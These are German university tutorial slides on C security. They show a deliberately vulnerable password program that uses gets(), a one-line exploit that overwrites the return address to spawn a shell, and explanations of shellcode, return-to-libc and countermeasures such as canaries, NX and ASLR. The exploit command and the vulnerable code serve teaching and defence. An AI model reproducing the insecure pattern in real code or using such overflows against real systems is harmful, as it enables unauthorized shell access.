1x2 PDF - TU Dortmund
Transcrição
1x2 PDF - TU Dortmund
Tafelübung zu BS 5. Sicherheit Olaf Spinczyk Arbeitsgruppe Eingebettete Systemsoftware Lehrstuhl für Informatik 12 TU Dortmund [email protected] http://ess.cs.uni-dortmund.de/~os/ http://ess.cs.tu-dortmund.de/DE/Teaching/SS2013/BS/ 1 Agenda ● Besprechung Aufgabe 4: Dateioperationen ● UNIX, C und Sicherheit ● Gefährliche Funktionen in C ● Buffer Overflows ● Schutzmaßnahmen BS: U5 – Sicherheit 2 Besprechung Aufgabe 4 ● → Foliensatz Besprechung BS: U5 – Sicherheit 3 „Gefährliche“ Funktionen ● ● scanf() gets() liest so lange Zeichen von stdin, bis ein Newline oder EOF kommt, und legt diese nacheinander ab buf in den Speicher ● ähnlich scanf("%s", buf); ● ● strcpy() strcat() sprintf() ● Was haben diese Funktionen gemeinsam? ● ● Alle schreiben ab einer bestimmten Adresse in den Speicher. ● Zur Laufzeit kann nicht entschieden werden, ob die Abbruchbedingung irgendwann erfüllt wird. ● BS: U5 – Sicherheit 4 „Gefährliche“ Funktionen: gets() ● Passwortabfrage in einem su-ähnlichen Programm int int ask_passwd(void) ask_passwd(void) {{ char char buf[8]; buf[8]; printf("Passwort:"); printf("Passwort:"); gets(buf); gets(buf); if if (check_passwd(buf)) (check_passwd(buf)) return return 1; 1; else { else { printf("Falsches printf("Falsches Passwort!\n"); Passwort!\n"); return return 0; 0; }} }} $ gcc -o login login.c /tmp/ccoMGotc.o: In function `ask_passwd': login.c:(.text+0x19): warning: the `gets' function is dangerous and should not be used. BS: U5 – Sicherheit 5 Pufferüberlauf void void start_shell(void) start_shell(void) {{ gid_t gid_t gid gid == getegid(); getegid(); uid_t uid uid_t uid == geteuid(); geteuid(); if if (setresgid(gid, (setresgid(gid, gid, gid, gid)) gid)) perror("setresgid"); perror("setresgid"); if if (setresuid(uid, (setresuid(uid, uid, uid, uid)) uid)) perror("setresuid"); perror("setresuid"); execlp("/bin/sh", execlp("/bin/sh", "/bin/sh", "/bin/sh", NULL); NULL); }} int int main(void) main(void) {{ if if (ask_passwd()) (ask_passwd()) start_shell(); start_shell(); return return 0; 0; }} $ ./login Passwort:12345678abcdef Falsches Passwort! Segmentation fault ● Was ist hier passiert? BS: U5 – Sicherheit 6 Was ist passiert? int int ask_passwd(void) ask_passwd(void) {{ char char buf[8]; buf[8]; printf("Passwort:"); printf("Passwort:"); gets(buf); gets(buf); ... ... ● die Eingabe hat den Framepointer und die Rücksprungadresse überschrieben ● ● ● ● Stack-Layout kann auf eurer Maschine evtl. anders aussehen, Disassembler verwenden! → Sprung auf eine nicht ausführbare Adresse → Segmentation Fault Das ist noch der harmloseste Fall! ... f e d Rücksprungadresse c b a 9 alter Framepointer %ebp (Framepointer) 8 7 buf[7] 6 buf[6] 5 buf[5] 4 buf[4] 3 buf[3] 2 buf[2] 1 buf[1] 0 buf[0] %esp (Stackpointer) BS: U5 – Sicherheit 7 Pufferüberlauf-Angriff ● ● Prozess kann auf diese Weise zum Sprung zu beliebigen Adressen gezwungen werden! kann auch ausgenutzt werden: $ nm login | fgrep start_shell 080485ab T start_shell ● da solche Adressen aus nicht-darstellbaren Zeichen bestehen können, ist ein Hilfsprogramm/-script nötig Umleiten von stdin ● Ausgabe der Bytesequenz mit der Adresse am Ende (Byteorder!) ● „Weiterleitung“ von stdin ● $ ( printf "12345678abcd\xab\x85\x04\x08\n" ; cat /dev/stdin ) | ./login BS: U5 – Sicherheit 8 Codeinjektion ● Ein solcher Einsprungpunkt (start_shell) ist nett, aber nicht unbedingt notwendig. ● Sogar Programme, die nur „ungefährliche“ Funktionen enthalten, können dazu gebracht werden, beliebiges zu tun! ● Anstatt nur einer Rücksprungadresse wird gleich entsprechender Maschinencode (sog. Shellcode) mitgeliefert, in den dann gesprungen werden kann. ● Rücksprungadresse wird mit Adresse innerhalb des Stacks überschrieben, an dem der Shellcode liegt! BS: U5 – Sicherheit 9 Weitere Techniken ● Return to libc: Rücksprungadresse wird mit Adresse z.B. der libc-Funktion system überschrieben ● system(3) führt beliebige Shell-Kommandos aus (~ fork + exec) system("ls system("ls -l"); -l"); ● ● Heap-Überlauf: Überschreiben von anderen Variablen auf dem Heap möglich ● ● der Stack wird wie bei einem normalen Aufruf von system präpariert! dadurch indirekt oft ebenfalls beliebiger Code ausführbar empfohlene Artikel (natürlich nicht prüfungsrelevant): ● Klassiker: "Smashing the Stack for Fun and Profit" ● modernere Techniken: "x86-64 buffer overflow exploits and borrowed code chunks exploitation technique" BS: U5 – Sicherheit 10 Praxisrelevanz? ● Unix Morris Worm (sendmail) – Buffer Overflow / gets ● ● ● siehe Vorlesung Blaster Worm (aka. Lovsan, 2003) SQL Slammer (2003) Stack Buffer Overflow in Microsoft SQL Server (über UDP-Port 1434) ● rapide Ausbreitung (bis zu 75.000 Hosts in den ersten 10 Minuten) ● starke Beeinträchtigung des Internet-Datenverkehrs ● ● Sasser (2004) Stack Buffer Overflow in LSASS (Local Security Authority Subsystem Service) (TCP-Port 445), unterschiedl. Varianten ● Autor: 18j. deutscher Informatikstudent (3,5 Jahre auf Bewährung!) ● ● Conficker (2008 bis heute) RPC Buffer Overflow, Shellcode ● ähnlich starke Verbreitung wie SQL Slammer (~3-15 Mio. PCs), u.a. Teilausfall diverser Streitkräfte (Frz./Brit. Marine, Bundeswehr) ● BS: U5 – Sicherheit 11 Schutzmaßnahmen (1) ● Hardware ● ● ● NX-Bit / XD-Bit (SPARC und neuere IA32/64-Prozessoren) → Stack-/Heap- und Daten-Speicherseiten Not eXecutable Betriebssystem ● address space randomization ● stack randomization Compiler ● z.B. GCC Stack Smashing Protector (SSP, aka ProPolice) ● standardmäßig im Einsatz z.B. unter OpenBSD, FreeBSD, Ubuntu ● sonst meist per Compilerflag -fstack-protector zuschaltbar ● Funktionsweise: Es werden bekannte Zahlen, „Canaries“, vor und hinter den Puffer geschrieben und überwacht. („Canaries“ sind eine Anspielung auf die Kanarienvögel in Kohlemienen, die bei giftigen Gasen als erste umgekippt sind) BS: U5 – Sicherheit 12 Schutzmaßnahmen (2) ● Programmierer strcpy(), strcat() → strncpy(), strncat() ● sprintf() → snprintf() ● gets() → fgets() ● scanf() → Feldbreite beschränken (scanf("%10s",buf)) ● BS: U5 – Sicherheit 13